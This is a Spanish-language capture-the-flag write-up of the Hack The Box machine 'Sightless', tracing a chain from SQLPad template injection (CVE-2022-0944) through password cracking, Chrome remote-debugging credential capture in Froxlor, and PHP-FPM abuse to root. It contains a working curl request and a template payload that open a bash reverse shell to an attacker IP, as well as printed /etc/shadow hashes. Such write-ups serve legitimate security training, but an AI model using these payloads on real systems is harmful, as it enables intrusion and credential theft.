Sightless

Acerca de Sightless

Sightless es una máquina Linux de dificultad fácil que presenta un sitio web para una empresa que ofrece varios servicios. La enumeración del sitio web revela una instancia SQLPad vulnerable a la inyección de plantillas [CVE-2022-0944](https://nvd.nist.gov/vuln/detail/CVE-2022-0944), que se aprovecha para obtener un punto de apoyo dentro de un contenedor Docker. La enumeración posterior revela el archivo /etc/shadow con un hash de contraseña, que se descifra para revelar la contraseña, concediendo acceso SSH al host. La enumeración posterior a la explotación revela una instancia de Froxlor vulnerable a Blind XSS [CVE-2024-34070](https://nvd.nist.gov/vuln/detail/CVE-2024-34070). Esto se aprovecha para obtener acceso al servicio FTP, que contiene una base de datos KeePass. El acceso a la base de datos revela las claves root SSH, lo que conduce a un shell privilegiado en el host.

Matriz de la máquina.

*Características de explotación de la máquina.

*Sin actualizaciones.

Comienzo enumerando los puertos, servicios y versiones.

rustscan -a 10.10.11.32 -- -sCV -oN scan.txt

1) Servicio FTP.

2) Superior a la version 6.9 que permite enumerar usuarios. apartir de la version 7.0 se implemento la opcion UsePAM, que permite utilizar el ‘Pluggable Authentication Module (PAM)’ para manejar la autenticación.

3) Está utilizando Nginx en la versión 1.18.0

4) Los metodos que podriamos utilizar por medio de curl, burpsuite y automatizar por medio de bash y python.

5) Nombre de dominio.

Descarto el servicio FTP ya que se necesita certificado SSL/TLS.

Verifico servicios web que estén corriendo.

Adjunto la dirección IP al nombre de dominio para facilitar un manejo más eficiente en la web. Esto nos permite acceder a recursos que podrían no estar disponibles al utilizar solo la dirección IP.

echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts

Dentro de los servicio que proporciona el CTF podemos apreciar que se encuentran, sqlpad, froxlor, database y server management, identifico un subdominio sqlpad.

Agrego el subdominio en mi host para que pueda resolvero y acceder.

sudo sed -i 's/10.10.11.32 sightless.htb/10.10.11.32 sightless.htb sqlpad.sightless.htb/' /etc/hosts

Verifico servicios web que estan corriendo.

Enumero Endpoint de la API

Identifico en la configuración que a pesar de no estar logueado, soy admin y obtengo la versión del servicio.

Identifico al usuario John, quien tiene el rol editor y el usuario admin con rol admin junto con sus ID correspondiente.

Hay 18 tipos diferentes bases de datos y sistemas de gestión de datos, y solo 5 tienen habilitado supportsConnectionClient true (mysql, mysql2, postgres, redshift, sqlite)

  1. Athena: Un servicio de consulta interactivo de Amazon que permite analizar datos en Amazon S3 utilizando SQL.
  2. BigQuery: Un servicio de almacenamiento de datos y análisis de Google Cloud.
  3. Cassandra: Un sistema de gestión de bases de datos NoSQL distribuido.
  4. ClickHouse: Un sistema de gestión de bases de datos columnar orientado a consultas analíticas.
  5. Crate: Una base de datos NoSQL distribuida que combina características de SQL y NoSQL.
  6. Apache Drill: Un motor de consulta que permite realizar consultas SQL en datos de diferentes fuentes.
  7. SAP HANA: Una plataforma de computación en memoria para el procesamiento de datos en tiempo real.
  8. MySQL: Un sistema de gestión de bases de datos.
  9. MySQL2: Otra variante de conexión a MySQL, posiblemente con características adicionales.
  10. Apache Pinot: Un sistema de almacenamiento de datos en tiempo real diseñado para consultas analíticas.
  11. Postgres: Un sistema de gestión de bases de datos relacional de código abierto.
  12. Presto: Un motor de consulta distribuido para realizar consultas SQL en grandes volúmenes de datos.
  13. Redshift: Un servicio de almacenamiento de datos en la nube de Amazon.
  14. Snowflake: Una plataforma de almacenamiento de datos en la nube que permite el análisis de datos.
  15. SQLite: Un sistema de gestión de bases de datos relacional ligero y autónomo.
  16. SQL Server: Un sistema de gestión de bases de datos relacional desarrollado por Microsoft.
  17. Trino: Un motor de consulta distribuido que permite realizar consultas SQL en múltiples fuentes de datos.
  18. Vertica: Un sistema de gestión de bases de datos columnar diseñado para análisis de grandes volúmenes de datos.

El primero (mysql) describe la configuración necesaria para establecer una conexión a una base de datos MySQL, incluyendo un identificador y un nombre para el tipo de conexión. Se presentan varios campos que permiten al usuario ingresar información esencial, como la dirección del servidor (host), el puerto (opcional), el nombre de la base de datos, el nombre de usuario y la contraseña. También se incluyen opciones para habilitar SSL y especificar rutas para certificados y claves, así como una opción para utilizar un sistema de autenticación antiguo. Además, hay un campo para declaraciones previas a la consulta, que permite establecer variables de sesión. Finalmente, se menciona que la configuración admite un cliente, lo que sugiere que está diseñada para tener una llegada a la bases de datos MySQL, en el servidor.

Puedo obtener el rol editor de john

A pesar de que ya tengo él role de admin me crea la sesión con el usuario admin predefinido

No se realiza ninguna validación o sanitización de los datos que ingresan al objeto connection. Esto significa que si controlo el contenido de una cadena dentro de connection (data), puedo insertar código malicioso pasando a la función render-connection.

La función _.template de la biblioteca Lodash se utiliza para compilar y ejecutar expresiones dinámicas que se encuentran dentro de cadenas de texto.
La configuración _.templateSettings.interpolate = /{{([\s\S]+?)}}/g permite que cualquier contenido entre {{ y }} sea evaluado.

No observo ninguna restricción en el uso del objeto process

Por lo tanto en Node.js, el objeto process está siempre disponible, y con process.mainModule.require, puedo cargar módulos maliciosos como child_process. Esto permite ejecutar comandos del sistema. El código no distingue entre una plantilla legítima (como {{user.username}}) y una expresión maliciosa

{{process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.203/9002 0>&1"')}}
curl -i -s -k -X POST \
-H "Host: sqlpad.sightless.htb" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "Origin: http://sqlpad.sightless.htb" \
-H "Referer: http://sqlpad.sightless.htb/queries/new" \
-H "Connection: keep-alive" \
--data '{"name": "quantum", "driver": "mysql", "data": {"host": "", "database": "{{process.mainModule.require(\"child_process\").exec(\"/bin/bash -c \\\"bash -i >& /dev/tcp/10.10.14.203/9003 0>&1\\\"\")}}"}, "host": "", "database": "{{process.mainModule.require(\"child_process\").exec(\"/bin/bash -c \\\"bash -i >& /dev/tcp/10.10.14.203/9003 0>&1\\\"\")}}"}' \
http://sqlpad.sightless.htb/api/test-connection

Logro tener una terminal como usuario root, noté que el entorno se ejecuta dentro de un contenedor Docker con el ID c184118df0a6. Sanatizo la consola, enumero usuario, grupo, usuarios en el sistema, información del sistema, listo archivos, carpetas presentes y ocultas.

Compruebo que es un docker

Verifico usuarios del sistema.

Verifico mediante linpeas que tengo acceso al archivo /etc/shadow y puedo observar los hashes del usuario michael y root del Docker

michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.

Identifico el tipo de hash.

Logré crackear ambos hash y obtuve las contraseñas

michael@docker

root@docker

El usuario michael reutilizo las credenciales en el servidor sightless, logrando obtener una terminal, sanatizo la terminal, enumero usuario, grupo, usuarios en el sistema, información del sistema, listo archivos, carpetas presentes y ocultas.

Obtengo flag user.

Verifico usuarios del sistema.

Identifico procesos de Google Chrome ejecutándose en modo headless con configuraciones potencialmente inseguras, como --no-sandbox (sin aislamiento) y --remote-debugging-port=0 (depuración remota habilitada con un puerto aleatorio). Esto podría permitir acceso remoto al navegador mediante el protocolo devtools si el puerto está accesible. Además, el navegador utiliza un directorio temporal (--user-data-dir=/tmp/...) para almacenar datos de usuario, lo que podría contener información sensible como cookies o credenciales.

Define las directivas del dominio admin.sightless.htb y su directorio raíz, se encuentra en /var/www/html/froxlor, alojado en la dirección IP 192.168.1.118 en el puerto 80.
Define reglas de acceso, como el bloqueo del acceso a los archivos userdata.inc.php y la restricción del acceso a las carpetas bin, cache, logs, tests y vendor. El código también define un controlador proxy para procesar las solicitudes php a través del socket de php-fpm.

Verifico los puertos

40067: Es el puerto asignado aleatoriamente a la depuración remota del navegador Chrome. --remote-debugging-port=0

8080: Corre el servicio Froxlor.

33060: Este puerto está relacionado con MySQL (conexión a la base de datos). Interactua y realiza acciones sobre los datos almacenados.

Me paso los puertos.

ssh -L 40067:127.0.0.1:40067 -L 8080:127.0.0.1:8080 -L 33060:127.0.0.1:33060 michael@michael@sightless.htb

Selecciono el puerto remoto debugging: 40067 en devtool se conectará a él automáticamente, luego filtro por inspect fallback, se autentica una y otra vez dentro del servicio Froxlor, recién ahí veo las credenciales en texto plano desde index.php

ForlorfroxAdmin

Linpeas me indicó que php-fpm se ejecuta con privilegios de root y tiene un controlador proxy para procesar las solicitudes php a través del socket apuntando al localhost, esto me hace pensar que podría ser la vía de explotación por medio de un RCE.

https://medium.com/@sarperavci/disclosing-froxlor-v2-x-authenticated-rce-as-root-vulnerability-via-php-fpm-be23febb68c7

Encuentro este PoC que detalla exactamente el escenario, asique paso a copiar la flag de root.txt en /tmp.

Deshabilito el servicio, espero unos segundos y luego lo vuelvo a habilitar. Este proceso reiniciará el servicio PHP-FPM y ejecutará el comando.

Obtengo la flag de root.txt, pero no tengo los privilegios necesarios para acceder a su contenido.

Sigo los pasos anteriores, pero esta vez le asigno los permisos necesarios para poder visualizar la flag. Además, obtengo el id_rsa de root para autenticarme como usuario root.

Realizo los pasos anteriores pero esta vez para el id_rsa de root

Logro acceder como root y obtengo su flag

quantumtandorisa Avatar

Posted by